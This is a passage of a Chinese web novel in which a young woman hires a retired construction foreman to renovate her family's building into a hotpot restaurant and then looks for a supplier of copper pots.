安厂长看出她的顾虑,忙道:“薛叔这个人其实很好相处,也没啥架子,就是脾气直了点。我估计他这会儿应该在家,我亲自领你走一趟吧!” 苏丽珍这回没答应,她知道安厂长平时工作很忙,好不容易有个休息日,又怎么好让他再为自家这点儿小事儿奔走,而且听安厂长的意思,对方应该不是什么难相处的人,大不了倒时她多去拜访几次。 拿到安厂长给的联系地址,苏丽珍又坐了一会儿,没好意思多打扰,很快便起身告辞了。 临出门的时候,安伯母给苏丽珍装了一篮水果,另外还拿了一个两尺长、一尺高的纸箱,封得严严实实,看不到里面装了什么。 苏丽珍自然不肯拿,安厂长却二话不说,直接把东西给她绑在了自行车后座上。 她实在推辞不过,只好收下。 安厂长站在门口,最后还叮嘱苏丽珍:“孩子,你尽管去找我说的那人,放心吧,伯伯跟你保证,到时即便你不提我的名字,他也会很愿意接你们家活儿的!” 安伯母听见这话直接横了他一眼,“还说呢,你就该亲自领着丽珍走一趟的,偏偏你懒得要命,就会在这里说嘴儿。” 苏丽珍赶忙道:“伯母,安伯伯已经帮了我们家很大忙了!剩下这点事我们要是再解决不了,那也太对不起伯伯为我们家操的心了。” “回头等房子收拾好,我们家店正式开业,到时安伯伯和伯母要是有空的话,一定要过去坐坐,我们还想着能让伯伯和伯母帮我们把把关,顺便再提点意见,那可是给我们吃了定心丸了。” 这话把安伯母哄得眉开眼笑,当即乐呵呵道:“成!那咱们就说好了,等你们家饭店开业,可一定要通知我们一声,我和你安伯伯一准去给你们捧场!” 从安家出来,苏丽珍本打算先绕去客运站看看苏卫华夫妻,但是害怕篮子里的水果冻坏了,只好先回家一趟。 到家后,她没让林小麦伸手,自己把那一篮子加一纸箱从后座上卸下来。 结果一上手,别说,还挺沉的! 她先检查了篮子里的水果,这一篮子里有橘子、苹果,而且还有一大盘香蕉! 香蕉现在可是稀罕货,副食店里一年都见不着几回,价格也贵的吓人。 苏丽珍前世在这个年纪之前,也就是在爷奶那里,跟着小叔一家蹭着吃过两回。 林小麦没见过香蕉,看着这种并排长在一根把上的黄澄澄水果,一脸好奇。 等听苏丽珍说,这是只有祖国大南边才能生长的水果,而且要一路坐大几千里的火车才能到他们这里时,顿时连拿都不敢拿了,生怕一个不小心弄坏了。 这一盘香蕉一共十八根,苏丽珍挑了一根看着黄透了的,掰下来,剥开外皮,露出里面米白色的香蕉肉,递给林小麦,让她尝一尝。 林小麦轻轻地咬了一小口,细细嚼了嚼,登时眼睛一亮! 这口感软软的,面面的,甜甜的,原来这就是香蕉啊,可真好吃! 苏丽珍看她吃了一口就小心翼翼地把香蕉皮包了回去,赶忙拦住她,“姐,你都吃了吧!这东西剥了皮后不禁放,一会儿就该发黑不新鲜了!” 林小麦听完有些遗憾,又忙把手里的香蕉递到苏丽珍嘴边,催她赶紧吃一口。 苏丽珍也没跟她客气,就着她的手咬了一口,点了点头,“好吃!” 小姐妹俩个相视一笑,美滋滋地一起分享了这根香蕉。 苏丽珍很快检查完了篮子里的水果,幸亏她车子瞪得快,这些水果都没怎么挨着冻,要不然可就保存不了多长时间了。 这些可是稀罕货,冬天里不赶上年节可买不着。 接着,她又去看那纸箱,将封口拆开一看,里头竟然是满满一整箱冻虾! 这些冻虾个头很大,整整齐齐地被码放成一排排,基本每一只都有十二、三公分那么长,这一箱沉甸甸的,去掉最底下的一层冰,剩下的净虾也至少有四斤重。 林小麦看见这么多冻虾,忍不住惊奇道:“冬天还有这么大的虾啊……这该不会是海里的虾吧?我听说咱们省有好几个地方靠海,这是从那边运过来的吗?” 这个苏丽珍还真不清楚,不过看这个头和数量应该是海虾吧? 不管了,反正拿都拿回来了,老实说,要是早知道安家给回的是这么重的礼,她是无论如何也不会要的。 等苏卫华夫妻俩回来,知道这次安厂长不但给他们介绍了那么厉害的改房人选,还回了这么多好东西,不禁有些惭愧,直说占了人家便宜。 李翠英恨不能立马再去做一锅香辣卤味,赶紧给人安t厂长家送去。 苏丽珍没法,还得开解两人:人情来往讲究个细水长流,人家重视他们,他们反而一副急巴巴、紧赶着还清的样子,那不是冷了人家的心吗? 只盼着他们家的日子能越过越好,假如将来人家真有什么要帮忙的,他们也有能力回报人家。 夫妻俩听闺女这么一分析,也觉得有理,就把再送卤味的念头打消了—— 有了合适的施工人选,苏丽珍也没耽搁,趁着今天礼拜天有空闲,打定主意要把能办的事儿都办了。 所以吃完中午饭,她和家里人商量好,就先到百货商店买了点烟酒罐头,只后便按着安厂长给的地址去找那位薛有粮薛工。 薛有粮的家就在建工局的家属楼小区里,位置靠外,非常好找,她几乎是稍稍一打听就找到了。 而且他家还就在一楼,这回更是连爬楼都省了。 苏丽珍瞅好门牌号儿,便抬手轻敲了两下门,结果不知道怎么回事,她敲了半天也没人应门。 苏丽珍有些奇怪,明明安厂长说这薛工和他老伴如今都已经退休享清闲了,家里肯定有人,怎么她这会就扑了个空呢? 难不成是临时有事,都出去了? 还真是不凑巧! 她心里叹了口气,稍微犹豫了下,决定还是先等一等,万一老两口只是出去遛个弯呢?说不准用不了多久就回来了。 苏丽珍打定意,所幸一楼进出单元门比较方便,今天外边阳光也不错,站在墙根下晒着太阳比楼道里还暖和点。 她干脆拎着东西直接到外面去等。 沿着墙根往东走了几步,苏丽珍突然发现这楼东冷山的墙根处蹲了一个人—— 作者有话说:感谢在2023-03-1422:11:30~2023-03-1523:02:43期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第66章 这人穿着一身军大衣,手揣在袖子里,脸上还扣了一顶雷锋帽,全身捂得密不透风,可他偏偏大冷天的后背紧靠着楼墙,而且两条腿还是蹲着的姿势,让人看了也不知道是该先替他后背冷,还是两脚麻! 苏丽珍环顾四周,发现这人蹲靠的那面墙上的窗户正好是薛有粮家的,心里猜测莫非这人是薛家的? 她想上前打听打听,可见那人一张脸捂得严实,一时也不知道该怎么称呼,犹豫了半晌,才试探着开口问道:“你好,打扰一下,请问您认识薛有粮薛工吗?” 那人听见动静,伸出揣在袖子里的手,慢吞吞拿掉盖在脸上的帽子,掀起眼皮朝苏丽珍看了一眼。 结果苏丽珍一看见对方的脸,嘴边的话一句没说出来,直接噗嗤乐了出来。 这是一个约摸有六十来岁的干瘦老头儿,此刻老头的两只鼻孔里竟然一边塞着一个烧过的烟头,整个人还丧眉耷眼的,这副样子实在太好笑,苏丽珍一时没忍住,当场笑出了声。 老头儿被笑了也不生气,见苏丽珍只是一个小姑娘,便不疾不徐地把帽子往脑袋上一扣,一边把烟头从鼻孔里拿出来,一边懒洋洋地反问道:“你是哪家的?找他啥事儿啊?” 见苏丽珍手里那一网兜的烟酒罐头,东西没少买,他又自顾自嘟囔起来:“这还拿了东西,也没听老婆子说有啥亲戚要来啊?” 苏丽珍听见了,又打量他的年纪,心里倏地一动,不由上前问道:“老大爷,您就是薛工吧?” 老头儿这时才注意到从眼前小姑娘口中反复出现的两个字眼儿——薛工。 自打他退休后,已经很长时间没听到有人这么叫他了! 他立时一改之前的散漫,腾地一下站起身,那动作麻溜的,简直不像这个年纪能做到的。 这小老头飞快凑到苏丽珍跟前,眼巴巴问道:“小姑娘,我就是你口中的薛工啊!是谁来让你来找我的?他是不是有啥活儿想找我老薛干啊?” 对方这反应有点出乎苏丽珍意料,看这一个问题接一个问题的,这架势,倒像是十分巴望着有人能来找他做事。 苏丽珍便一一回答道:“薛工,您好,我叫苏丽珍,是纺织厂的安厂长介绍我来的。我家里有座二层的小楼想重新改造翻修一下,他说您是这方面的专家,所以我就厚着脸皮过来,想请您出山给我们指点指点。” 老头儿,也就是薛有粮,一听苏丽珍这么说,两只眼睛都放光了,忍不住跟她反复确认,“这么说,你真的是来找我干活的?” 见苏丽珍点头,他又立马伸手比了个“二”,“两层的楼房?” 苏丽珍有点儿拿不准对方是不是不太愿意接这样的小活儿,怕对方心理落差太大,只得歉意道:“对,是二层的小楼……薛老,我知道我们家的活儿可能有点小……” 岂料她才说了一半儿,就被对方嗷地一嗓门打断了! 只见薛工拍着巴掌,激动道:“不小、不小!哎呀妈呀,可算又有人来找我老薛头干活儿了!安保国这小子可干了件好事儿!” 然后就对苏丽珍乐滋滋道:“小姑娘,你有眼光!你放心,这活儿我保准给你干的明明白白!那啥,你家房子在哪儿?走走走,现在就领我老头子过去瞅瞅!” 老爷子说话间就要拽着苏丽珍去看房子。 苏丽珍这会儿还有点懵,来之前她设想了很多对方可能出现的反应,唯独就没有现在这种。 她这会儿可算是明白为什么安厂长之前说,即便不提他的名字,薛工也会接他们家活儿了。 对方还真是一点儿架子都没有,别说嫌他们家活儿小,眼下更是连价钱都没问,就急着要去看房子。苏丽珍要不是之前从安厂长那里听说了对方的资历,这会儿恐怕都要怀疑自己是不是找错人了。 不过见面统共才说了两句话,苏丽珍就算心里急切,也不能这会儿就把人带走,赶忙劝对方道:“薛老,这个咱们不急。您看我还给您带了点儿礼物,您让我先把这些东西放您家里吧!” 薛工一摆手,满不在乎道:“哎呀,给我送啥礼啊,你能来找我,应该是我来谢谢你还差不多!这东西你拿回去,走走,咱先去看房子!” 苏丽珍有些哭笑不得,就在这时突然听身后一声吼:“好你个糟老头子,你干啥呢?” 紧接着一根儿缠着细绳的小木棍,嗖地一下越过苏丽珍,精准地打在了薛工帽檐上,把两人都吓了一跳。 苏丽珍转身,就见一个头发半白的胖老太太领着一个六、七岁大的小男孩站在几步开外的地方。 胖老太太气势汹汹地走过来,掐着腰指着薛有粮骂道:“死老头子,我就领着孙子出去玩的工夫,你就敢惹事!你说,你拉着人家小姑娘干啥?” 薛有粮捂着脑门儿,满脸无奈地解释道:“我说你个老太婆,能不能把事情搞清楚再说话?啥叫我拉着人小姑娘干啥?我一个老头子,我能干啥!人家小姑娘是保国特意介绍来,请我去帮他们家改房子的!你可倒好,上来不分青红皂白就打人!” 说着,捡起那根小木棍儿,心里还想着,这老婆子下手真够狠的,竟然拿孙子抽冰嘎的小木鞭砸他,幸好知道把绳子先缠上,要不然把他眼睛抽瞎可咋整! 老太太一听说苏丽珍是安厂长介绍来请自家老伴儿出山的,当即脸上也露出惊喜的神色,马上转向苏丽珍,一张圆脸直接笑成了一朵花,“这是真的?闺女,你真是特意来找我家老头儿帮你们建房子的?” 苏丽珍笑着点头,“薛奶奶好!我确实是特意来请薛老的。我家有座二层小楼,我们想在一楼开饭馆,所以需要把房子改动一下,安厂长就特地介绍我来找薛老……就是有点儿不好意思,这么点小活儿来请薛老这样的行家,多少有点儿委屈他老人家了。” 薛老太太连忙摆手,一脸高兴道:“不委屈,不委屈!闺女,你不知道他天天退休在家,都要闲出个屁了!只要你愿意请,莫说叫他帮你们改个二层小t楼,你就是找他挖个地窖,他都乐意!” 苏丽珍被薛老太太这直白的话逗得想笑,那边儿薛有粮却不耐烦了,冲着老太太嚷嚷:“你懂个啥,别在这儿瞎咧咧!” 转头却对苏丽珍和颜悦色道:“闺女啊,叫啥薛老,文绉绉的,既然你叫他奶奶,那就喊我一声薛爷爷吧!好了,你的情况我也清楚了,咱现在就去看房子吧!” 说话又要拽着苏丽珍走。 薛奶奶不乐意了,一把扯住自家老伴儿,朝他狠瞪了一眼,“哪有你这样的?人家姑娘头回来,你连口水都不让人家进屋喝,像话吗!” 说着对苏丽珍笑眯眯道:“闺女走,跟薛奶奶进屋,奶奶给你沏红糖水喝!” 这也合了苏丽珍的意,毕竟她这手上还拎着东西呢! 她就朝薛老爷子笑了一下,跟在薛奶奶身后,和薛家的小孙子三人一起说说笑笑进了楼里。 气得薛老爷子站在原地直跺脚,瞪着眼睛嘟囔了两句,最后实在没办法,只好老老实实跟着回去了。 进屋坐下后,薛奶奶忙着给苏丽珍沏红糖水,又拉着她闲话了几句,打听苏丽珍家里的情况。 听说苏丽珍家的小楼居然是人民路那栋二层的独楼小洋楼,薛奶奶很是夸赞了一番,直说那房子好,有派头;地理位置也好,开饭馆正合适。 夸完了转头就对薛老爷子叮嘱道:“老头子,人家那房子可是好地方,你到时候可得给人好好改,别把人家的好房子给糟践了!” 薛有粮正坐在沙发上百无聊赖地摆弄烟头呢,被薛奶奶一眼看见,气得一巴掌拍在了他手背上,骂道:“又摆弄你那两个塞鼻子的破烟头,埋汰死你得了!赶紧给我洗手去!” 薛老爷子拗不过她,只得蔫蔫地起身洗手去了。 薛奶奶就对苏丽珍满脸不好意思道:“闺女啊,让你见笑了。老头子最近气管儿不好,我就让他戒烟。他倒好,还背着我自己偷偷买烟抽,这把他给能的!” “气得我啊,直接把他的烟和钱都没收了,一分没给他留!老东西烟瘾犯了,又不敢上我这儿闹腾,就在那儿整天出洋相!” 苏丽珍这下明白为什么开始见面时,薛爷爷要在鼻孔里面插两个烟头了,她心里有些想笑,但是顾忌老爷子的面子,便压下笑意,安抚老太太道:“我听家里长辈说戒烟确实不容易,安伯伯说薛爷爷之前管着一支施工队伍,平时工作任务重、压力大,估计就是这样,烟瘾才大。” 这话似乎说到了老太太心坎里,她拍了下大腿,使劲点头,“可不就是因为这个吗?闺女啊,你别看他平时在家不着调,但是一说到工程上的事,老头子眼里就再装不下别的了。” “从前上头一有点啥项目派给他,他就心急火燎,恨不能一宿给人家盖出三层楼来!经常半宿半宿熬着不睡觉,在那儿研究图纸,写写画画的,经常一天两包烟都不够抽的!” 苏丽珍听了,心里也对这位敬业的薛老爷子越发敬重了几分。 一老一少乐呵呵又说了会话,耐不住旁边薛老爷子等不急,非闹着要先去看房子。 苏丽珍想着索性现在时间早,过去看一看也行,便跟薛奶奶告辞,准备带老爷子先去小楼那边一趟。 临出门的时候,薛奶奶非让她把带来的东西拿回去,还说苏丽珍肯用老头子,那就是看得起他,可不能收礼。 苏丽珍自然不能答应。 本来薛爷爷也是不肯的,但是不知道怎么就瞄到了网兜底下那一条烟,当时两只眼睛就亮了,意意思思地对苏丽珍小声道:“闺女啊,别的东西你全拿回去……就这条烟,那啥,大爷就不跟你客气了……” 气得薛奶奶直接一巴掌把他扒拉一边儿去了。 自家老头子不争气,薛奶奶也没法再推让了,总不能真让人家拿走一半儿,留一半儿,那成啥事了? 所以最后看着薛老爷子抱着那条烟宝贝似的,冲着她嘿嘿直乐,老太太没好气,连甩了他好几个白眼。 薛老爷子一脸怂唧唧的,一声没敢吭。 看得苏丽珍抿嘴直笑,薛奶奶最后没绷住,自己也“噗嗤”笑了出来—— 作者有话说:感谢在2023-03-1523:02:43~2023-03-1923:35:55期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第67章 不过等苏丽珍从薛家出来的时候,到底也没空了手,薛奶奶硬是塞给了她一块足有三、四斤重的驴肉! 这驴肉可是稀罕物,等闲不容易遇着。这是薛老爷子的徒弟特意孝敬给二老的,如今倒是便宜了苏丽珍。 薛老爷子家距离小楼的位置不远,一老一少骑着自行车,用了约莫十五分钟就到了人民路。 苏丽珍原本打算让薛老爷子在这儿等她,她自己先回家取小楼的大门钥匙,没想到等到了地方才发现苏卫华和丁大勇这会儿也在。 自打买下这小楼之后,夫妻俩担心屋子里长时间没人住,天气太冷,怕把水管给冻坏了,所以两口子一得了空闲就会过来生火,烘一烘屋子。 赶上今天礼拜天,丁大勇休息,听说师父要来新房子这边烧火,就自告奋勇帮忙往这边拉了不少煤块和烧柴。 苏卫华一听闺女说薛老就是安厂长介绍的行家,自然十分高兴,双方先是热络地打了招呼,老爷子就开始楼上楼下地参观起来 薛老爷子不愧像薛奶奶说的那样,只要一涉及到自己的专业工作,果然是一秒进入状态。 这会儿他神情严肃,也不用人领着,自己就先把每一层楼的边边角角都看过一遍,甚至还从身上的大衣口袋里摸出一把卷尺,随时随地测量一番。 其他人见他这样专注,都不敢说话,生怕一不小心出声打扰了老人家的思路 等差不多把这房子里外都转了一遍,老爷子又问起苏丽珍一家想把房子做哪些改动。 等问好了众人的意见,薛老爷子思索了一会儿,就对大伙儿说道:“情况我已经了解的差不多了,我现在先给你们出张图,你们看看有哪里不符合你们需求的,我可以再改动。” 说话间就又从怀里翻出一支钢笔,只是这次没摸到能写字的纸本,老爷子立马埋怨地直拍自己脑门子:“哎呦,瞅我这个破脑子!” 苏丽珍见状,连忙道:“薛爷爷,要不咱们先去我家吧,这里什么也没有,做啥事都不方便。” 而且屋里虽然烧了火,但是毕竟长时间没住人,又这么空旷,怎么也没法跟家里比。 苏卫华自然十分乐得邀请薛老爷子来家里,薛老爷子这会儿满心都在工作上,也就点头答应了, 这样,一行人又呼呼啦啦往苏家去了。 到了苏家,老爷子连口水都没顾上喝,就在纸上飞快勾勒出一副小楼的平面图。 上面细致地标出每层楼的布局情况和大致参数,每间屋子都是按照苏丽珍一家设想的那般,功能明确。 而且更难得的是,老爷子考虑到他们一楼开店、二楼住人的格局,在兼顾了苏家人需求的同时,还帮他们做出了许多优化。 就比如说,在一楼北面有楼梯的那一侧,老爷子从西北角到楼梯储藏室之间的位置设计了一面柜台。 有了这个柜台,人坐在这里收款时,既可以看到门口客人出入,也能留意到厨房上菜情况,最重要的还能兼顾一楼到二楼的楼梯口,防止有人误入二楼。 柜台后面是一列像百货商店那样的展柜,展柜一分为二,上半部分可以放置酒水、饮料等零散物品,下半部分可以收纳一些杂物,或者作为给客人寄放东西的货柜。 还有二楼,薛老爷子特意给他们隔出了一间餐厅,里边设置了一间小厨房,这样二楼也能开火,直接解决了一家人原本只能每天下楼吃饭的问题。 还有其他杂七杂八,他们平时根本想不到、但是一旦入住后就会出现麻烦的地方,老爷子全部为他们一一指出,并做出了一定修t改,简直贴心的不行! 都说“行家一出手,就知有没有”。 薛老爷子不过是这么点儿时间,就将他们许多想到、没想到的问题都给解决好了,苏丽珍一家实在喜出望外。 而且看老爷子在室内装饰这一块颇有见地,苏丽珍也萌生出了一点想法,想请老爷子指点指点。 原先一楼客厅和餐厅连接部分是半墙、半木制隔断结构,她原计划是把这两部分都拆掉,使客厅和餐厅合为一体。这样将来大堂摆满桌椅后,两边角落的位置也能顾得上。 不过那天,在看到一块腐朽却难掩昔日精致的雕花隔断板之后,她忽然改变了主意。 这回,她不想再像那些国营饭店那样,为了多上人,把大堂塞得满满当当,一点章法也不讲。 她的想法是在大堂南北两侧只分别放置四张桌子,每张桌子之间都设一面镂空雕花的木制隔断,大堂中央全部留作过道,一眼望去,宽敞明亮。 而两面隔断中间要增设一面同色的木珠帘,这样三面都有遮挡,就形成了一个类似包间一样的独立空间。 在每个隔断空间对应的棚顶上还要再加一顶白炽灯,就用那种民国时很流行的磨面玻璃灯罩。 这样的布置美观大方、井然有序,不说提高了多少档次,最起码要比现在国营饭店那种见缝插针式的桌椅摆放法强。 即便这八张桌子全部坐满了人,也不显得混乱。 毕竟他们做的是火锅,如果大堂里布局混乱,毫无秩序,到时候人一多,乱糟糟一片,来回添汤加炭就很容易伤到人。 再者,桌子少了,将来客人上座后,位置会更宽松,且前后左右都互不打扰,喝酒、聊天也更加自在随性。 只不过这样一来,成本就提高了不少。而且原本能摆下十二、三张桌子的大堂,如今就只能摆八张,以现在不讲究就餐环境的背景下,这么做其实也算一种浪费。 不过,薛老爷子却觉得她的想法很好。 老爷子是个有见识的人,按他说的,要么不做,要做就想法子做到最好。国营饭店真材实料,大师傅手艺好,这些都是优点,可缺点也同样不少,不能好的、坏的都跟着学啊。 现在这样改动一下,虽然一次性接待的客人少了,可环境啥的可好太多了。 在保证味道的前提下,同样的价钱,大家有啥理由不往这边来? 到时候多翻几次台,这钱不就挣回来了? 苏卫华夫妻俩也没啥意见。他们都不是啥有野心的人,别说现在大堂八张桌加包间四张,这就已经十二张桌了。在他们的想法里,每天饭点能来个七、八张桌的客人,他们就知足了。 而且闺女有一句话最在理儿,火锅这东西汤汤水水的,坐得太密确实不安全。 还是这么着好,客人舒坦,他们也省心。 再说,闺女不是还要在第一排隔断前加两张方桌卖卤味吗?这卤味搭着火锅,这活计就不少了。 所以大堂设八张桌也尽够了! 得到了大家认可,苏丽珍自然高兴。其实她心里还有许多别的想法,虽然她不懂装修,但是毕竟也走过很多地方,抄“作业”总是会一点的。 不过考虑到现在人们的观念还很传统,你稍作更改叫玩“时髦”,可要是手脚放太开,那就是颠覆了。 最好还是慢慢来。 有薛老爷子这个全能的行家在,新房子的装修方案很快敲定,一家人心里充满了期待,同时也对老爷子很是感激。 本来老爷子说要趁着现在天色早,先去联系一下他那些老哥儿们,安排好人手,准备明天开始动工。 尽管苏丽珍一家心里也希望能早日开工,却没答应老爷子就这么走,好说歹说劝他一定留下来吃顿饭,算是表达一下自家的谢意。 薛老爷子拗不过,算算时间,觉得吃完饭了再去找人也来得及,就答应了下来。 于是,李翠英和苏丽珍就开始在厨房忙活起来。 林小麦坐不住,也要出来帮忙。 苏丽珍就让她负责烧火,这活儿轻巧还暖和,大伙儿也放心。 听薛奶奶说薛爷爷最近气管不好,夜里咳嗽,她们特地没准备辛辣口味的菜。 红烧肉炖干豆角,小鸡炖蘑菇,炒肥肠,熘肝尖,木须肉,卤味拼盘,最后一道是铜锅子煮的羊排白萝卜锅。 薛老爷子原本打算就是随意吃一口,顺便说点明天开工的准备,没想到苏丽珍一家做了这么丰盛的一桌,尤其是这一道道菜尝下来之后,他可算是明白苏家为啥要开饭馆了! 就这手艺,可半点不比国营饭店的大师傅差! 一顿饭,薛老爷子吃得肚子溜圆,显见是真心觉得不错,苏丽珍一家看他吃得开怀,自己也觉得高兴。 吃完饭,丁大勇自告奋勇要送老爷子回家,走的时候,李翠英又特意装了些卤味给老爷子带回去。 这连吃带拿的,薛老爷子有些不好意思,不过想到饭桌上那些卤味的味道,咽了咽口水,还是厚着脸皮收下了。 这个星期天可谓收获满满,想到明天家里的小楼就能动工了,苏丽珍的心情就十分好。 而薛老爷子也确实是效率惊人,第二天就带着好几位技术精湛的大师傅过来。 这些人里,一位电工和一位水暖师傅是跟薛老爷子一样,已经退休的施工队老人。 其他几位木工和瓦匠师傅,则是以前跟他们一起干过活的编外人员。虽然不是施工队的正式编制,但是人家的手艺也很厉害,就是赶上现在天气冷,没什么活儿,要是放平时,人家还未必有空过来。 第68章 除了这些技术工种,还另外需要几个力工。 如今正是猫冬的时候,村里人都清闲,苏丽珍就直接找了张表舅,让他帮忙在本村介绍几个亲近可靠的人过来。她每人每天出一块钱的工钱,中午还包一顿一荤一素的饭菜。 而且她一直记着之前张表舅的岳母、舅哥和两个本家兄弟来帮忙整治周氏兄弟那回,就让张表舅先问问他舅哥和本家兄弟愿不愿意过来。 有这么好的事,哪里还用问,张表舅直接就能替这几人作主,把这活儿应下了。 那几人也看出来苏丽珍念旧情,是有意照顾他们,要不然这么轻巧挣钱的活计,哪里轮到他们这些村里人? 有了这份明悟,都不用张表舅多交代,几人干起活来就特别卖力,生怕自己做的不好,辜负了苏丽珍的心意。 于是,一切准备就绪,小楼很快就顺利动工了。 虽说现在天气冷,但好在都是屋里的活计,只要锅炉烧着,室内温度够用,就不耽误干活儿。 如今国内的房屋装修行业还没有起步,大伙儿对个人住房的要求仅仅是停留在结实、耐住这最基本的层面。 一般刷个白墙,漆个门窗,再砸个水泥地面,就已经很过得去了。要是再做个浅蓝或浅绿的墙裙,那保准就是附近几条街上最洋气好看的房子了。 所以现在别说装修房子,就是盖房子都很简单。 当然,要说难处也不是没有,那就是能不能买到足量的材料。 苏家资金是充裕的,材料这一块却是多亏了薛老爷子牵线,这才没犯难。 就比如小楼的地面是原主人铺的地砖,这些年也损坏了不少,只是这些地砖都是几十年前的进口货,现在别说去找一模一样的花纹配色,就是随便一块地砖也不是他们能轻易买到的。 苏卫华一打听才知道,凤城唯一一家瓷砖厂的订单都已经排到了后年了。别说人家根本没时间接待他们,就算想接他们家的单子,这区区几十块的订单还不够人家费一回事的,所以就更没戏了。 关键时刻还多亏了薛老爷子帮忙,找关系给他们插了个队,这才买到一箱花色十分接近的瓷砖,帮他们解决了难题。 材料备齐了,人手也充足,整体进度就十分喜人,不到一周时间,除了木工活以外的其他工作就全部完成了。 现在的木工活儿全部依靠手工,而且苏丽珍又要做隔断、打柜台,连桌椅都要稍微仿古式的圆桌和圈椅。 这么多活儿,薛老爷子介绍来的两个木匠带着各自的徒弟们,每天加班加点,一周也干不完。 最少还得一周时间。 就这还得先紧着一楼饭店部分,至于二楼住家的柜子和床等等t只能往后排了。 这样一来,等饭馆全部装修完,能正式开门营业就至少要一月三、四号以后了。 虽说没能赶上元旦这一波新年热,苏丽珍心里有点遗憾,但是她也知道自己要求的那些木工活计多么繁琐。 看看人家木匠师傅做好的隔断,雕花精美,镂空细致,整体古典大气,这技法一看就是老祖宗们留下的好东西。 所以好饭不怕晚,看着自家的小楼一天一个样,那别致处远胜附近店面的装修风格每天都要吸引来许多人站在门外围观,她心里的底气就一天比一天足。 小楼的装修改造在紧锣密鼓的进行,同时,全家也得为饭馆开业做好其他准备。 店内将来主打是火锅加特色卤味,卤味不用说了,火锅这里暂定了清汤滋补锅、川渝麻辣锅和酸菜五花肉三种锅底。 涮菜的素菜以时令蔬菜和豆制品为主,荤菜主要是羊肉、猪肉和牛肉。 这里最主要的是荤菜类的货源问题,苏丽珍打算还是跟做卤肉一样,一方面托张表舅在村子里直接收购,另一方面还是从本地倒爷手里拿货。 这两方互补,也能保证将来的货源稳定。 食材的问题好说,麻烦却出在了涮火锅的铜锅上。 苏丽珍原本的想法里是店里除了准备那种老式的铜锅,再定做一批可以一锅两吃的鸳鸯锅。 这种鸳鸯锅源自川渝地区,别看只是在锅内简单加一层隔板,却同时兼顾了能吃辣和不能吃辣这两种截然相反的口味,过几年就会风靡大江南北。 如今十有八九是买不到的,苏丽珍也打听了好多人,都说没见过这样的锅,估计只能去炊具厂订做了。 这倒也没什么,毕竟饭店开起来了需要用的铜锅就不少,不能指望都从百货商店买,毕竟他们也凑不出那么多的工业券。 但问题是炊具厂压根不同意直接对个人的买卖。 这些厂方都要求他们必须以单位的名义,凭相关介绍信才能进厂购买,而且拿货的量是保证单一品类一次不能低于一百套,如果是定制的话,则不能低于一百五十套。 也就是说,按照苏丽珍之前设想的,她要是想在厂子里直接买铜锅和鸳鸯锅,最少要买下总共二百五十套的锅子。 苏丽珍:“……” 这个数字可真不友好。 苏卫华为这事跑了几天,丁大勇也抽空帮他们打听,可惜两人连着问了几家炊具厂,都无一例外地被拒绝了,而且好几家的态度还不怎么好。 这天中午,两人又一次空手而归。 看见师徒俩奔波挨累还要受气,李翠英和林小麦十分心疼。 苏丽珍也脸色不好,她有些自责道:“爸、大勇哥,这事怨我,是我给你们出难题,让你们受这份罪。” 苏卫华可见不得闺女这样,一张脸瞬间严肃起来:“珍珍,你又说这种话,这种事怎么能怪你?” “这世上哪有天天待在家里等着天上掉馅饼的好事?要我说咱家其实已经很顺利了,就眼前这点事,也总会有解决的办法!爸不许你再瞎想,听见没?” 一旁丁大勇也点头笑道:“是啊,珍珍,你要说这事怪你,那我和师父多不好意思啊!你可得对我们爷儿俩有信心!到时候多找几个地方问问,反正凤城买不着,咱们就去别的县、市,肯定有愿意卖的。” 两人跑了一上午还没来得及吃午饭,李翠英正端了饭菜过来,听见这话忙劝道:“大勇啊,我正想说呢,锅的事咱往后再说,你待会儿吃完饭就赶快回厂里把假销了,好好上班!” “这边人手够用,你可别再三天两头往这边跑了,虽说现在一车间夏主任对你不错,可咱自己也得注意,不能给人留话把儿!” 丁大勇听完脸色一苦,嘴里的饭菜都不香了。 苏卫华有些奇怪,不由问他:“大勇,是不是又有人为难你了?你跟师父说,师父去找夏主任。” 丁大勇赶紧摇头,“没有、没有,师父,我现在在一车间挺好的,我这个班事不多,人也省心,我平时总给大家买点东西啥的,所以就算请假,大伙儿也没啥意见,夏主任对我也挺好……就是我、我……还是想过来这边……” 看他支支吾吾的,实在是不像没事的样子。 这下不光苏卫华,所有人都开始担心了,实在是丁大勇看着壮实,可过了年才二十,又是个实心眼的,苏丽珍一家是真怕他吃亏。 丁大勇看大家都不放心,有点急了,连连解释道:“师父、师娘,我真没啥事!我这就是在外面自己干,干惯了,现在一回厂子就觉得有点受拘束。” 一听是这么回事,众人才明白过来。 不得不说,自己摆摊干个体,纵使千般辛苦、万般难,可也确实有个好处,就是啥都自己说了算,自在是真自在。 可是再自在,在世人眼中,那也比不上机械厂这种国营单位里的正式岗位啊! 所以苏卫华夫妻俩不免劝了丁大勇几句,摆摊挣到钱自然是好事,可也千万别把本职工作落下,那可是能跟着他一辈子的铁饭碗。 他要是真因为摆摊生出啥抵触情绪,影响了机械厂的工作,那他们夫妻俩以后咋跟丁大娘交代。 丁大勇老老实实听了师父教训,保证回去后一定好好上班,不叫大家担心。 苏卫华夫妻俩听了他的保证,这才放下心。 只有苏丽珍看着默默扒饭的丁大勇,心中狐疑。 据她观察,就算当初大勇哥在厂子里不如意,迫不得已去卖烤苞米,后来又挣到不少钱,那么长的一段时间里,也没见他生出一点不愿回厂上班的情绪。 如今天气冷,他接受自己的建议,重焊了炉子,改卖烤地瓜和烤饼。虽说生意还不错,但是因为天冷人少、摆摊时间短,跟夏天卖烤苞米那会儿完全比不了。 可他现在在一车间却游刃有余,这怎么反而还不想回去了呢? 不过大勇哥既然不想说,她也只能暂且压下。 而且她也赞成她妈说的,确实不能让大勇哥再因为自家的事总请假了,这买锅的事还是交给他们吧! 于是,苏丽珍等苏卫华和丁大勇吃完饭,便向两人打听起这两天跑炊具厂的详细经过,看有没有机会找一家好说话一点的再谈谈。 经她这么一提醒,苏卫华还真记起来一家,说是东郊一家规模不大的专门生产各种锅具的小厂子,那里的负责人就挺好说话的。 虽然对方当时也没答应卖给他铜锅,但是似乎对他们的鸳鸯锅挺感兴趣,拿着苏丽珍给他画的图样看了好一会儿,还请他们进办公室喝了杯茶,表现的算是很客气了。 要知道去其他厂子,别说看图样,一听苏卫华他们是个体户,连大门都没让进。 第69章 